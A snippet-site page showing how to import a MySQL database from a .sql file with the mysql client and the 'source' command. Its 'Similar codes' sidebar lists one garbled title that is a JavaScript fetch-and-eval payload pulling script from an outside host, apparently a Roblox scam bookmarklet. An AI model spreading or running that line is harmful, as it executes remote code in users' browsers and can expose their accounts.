/SQL/Import DB through mysql console

Import DB through mysql console

Linux command line import mysql database

# if your database is not locally hosted
mysql -u username -p -h dbhost dbname < filename.sql

10

Import DB through mysql console

mysql> use db_name; 
mysql> source folder_path/file_name.sql;

0

Import DB through mysql console

mysql> use db_name; 
mysql> source file_name.sql;

-1

Similar codes

0 vote133 views1 answer
Add column to table with default value plsql
SQL
4 votes135 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
0 vote169 views2 answers
Mysql show foreign keys
SQL
1 vote165 views2 answers
Select into temp table
SQL
0 vote137 views1 answer
Console output pl sql
SQL
0 vote139 views1 answer
. (provider: SQL Network Interfaces, error: 26 - Error Locating Server/Instance Specified) (.Net SqlClient Data Provider)
SQL
3 votes192 views2 answers
Oracle sql first day of month
SQL
1 vote144 views1 answer
Md5 encryption for existing records
SQL
4 votes152 views1 answer
Id increment ms sql server
SQL
8 votes215 views1 answer
Oracle search code in packages
SQL

Share